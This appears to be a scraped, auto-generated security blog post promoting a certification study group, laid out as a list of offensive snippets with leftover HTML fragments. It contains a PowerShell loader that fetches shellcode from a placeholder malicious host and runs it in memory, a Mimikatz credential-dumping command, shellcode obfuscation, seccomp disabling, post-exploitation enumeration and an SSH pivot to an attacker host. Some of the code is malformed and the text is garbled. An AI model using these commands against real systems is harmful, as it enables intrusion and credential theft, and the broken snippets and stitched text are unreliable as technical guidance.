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A collaborative space for professionals preparing for the Certified Expert in Testing and Protection (CETP) certification. It’s a place to share resources, discuss new evasion strategies, and explore real-world offensive development techniques. Join us to enhance your skills:
🔗 https://lnkd.in/daFhqQCS
You Should Know:
1. Evasion Techniques for EDR/AV Bypass
- Process Hollowing (Windows):
</li> </ul> <h1>PowerShell script to inject shellcode into a legitimate process</h1> $bytes = (New-Object Net.WebClient).DownloadData("http://malicious.site/shellcode.bin") $mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($bytes.Length) [System.Runtime.InteropServices.Marshal]::Copy($bytes, 0, $mem, $bytes.Length) $thread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($mem, [System.IntPtr]).Invoke()- Linux Syscall Obfuscation:
</li> </ul> <h1>Use syscall numbers directly to evade signature-based detection</h1> gcc -o evasive_shellcode evasive_shellcode.c -masm=intel -fno-stack-protector -z execstack
2. Threat Emulation & Red Team Tactics
- Mimikatz for Credential Dumping (Windows):
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
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Linux Memory Analysis with Volatility:
volatility -f memory_dump.raw --profile=LinuxUbuntu_5x pslist volatility -f memory_dump.raw --profile=LinuxUbuntu_5x linux_bash
3. Malware Development & Anti-Forensics
- Polymorphic Shellcode Generator (Python):
import os import random shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" mutated = bytearray(shellcode) for i in range(len(mutated)): mutated[i] ^= random.randint(1, 255) print("Mutated Shellcode:", mutated.hex())
4. EDR Evasion via Direct Syscalls (Windows/Linux)
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Windows (Nt API Unhooking):
#include <windows.h> #pragma comment(lib, "ntdll.lib") NTSTATUS(NTAPI* NtProtectVirtualMemory)(HANDLE, PVOID*, PSIZE_T, ULONG, PULONG);
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Linux (Seccomp Sandbox Bypass):
</p></li> </ul> <h1>Disable seccomp filters</h1> <p>prctl(PR_SET_SECCOMP, SECCOMP_MODE_DISABLED);
What Undercode Say:
The CETP certification focuses on advanced offensive security techniques, including evasion, malware development, and EDR bypass. Mastering these skills requires hands-on practice with real-world attack simulations. Below are additional commands for deeper exploration:
- Windows Privilege Escalation:
whoami /priv Get-WmiObject -Class Win32_Product | Select-Object Name, Version
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Linux Post-Exploitation:
find / -perm -4000 -type f 2>/dev/null # Find SUID binaries cat /etc/passwd | grep -i "sh$" # List valid shell users
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Network Pivoting (SSH Tunnel):
ssh -D 1080 -N -f user@attacker-ip
Expected Output:
A structured, actionable guide for CETP aspirants, integrating evasion techniques, malware development, and defensive bypass methods.
🔗 Reference: CETP Knowledge Pool
References:
Reported By: Mohamed Nasr – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅Join Our Cyber World:
- Windows Privilege Escalation:
- Mimikatz for Credential Dumping (Windows):
- Linux Syscall Obfuscation:
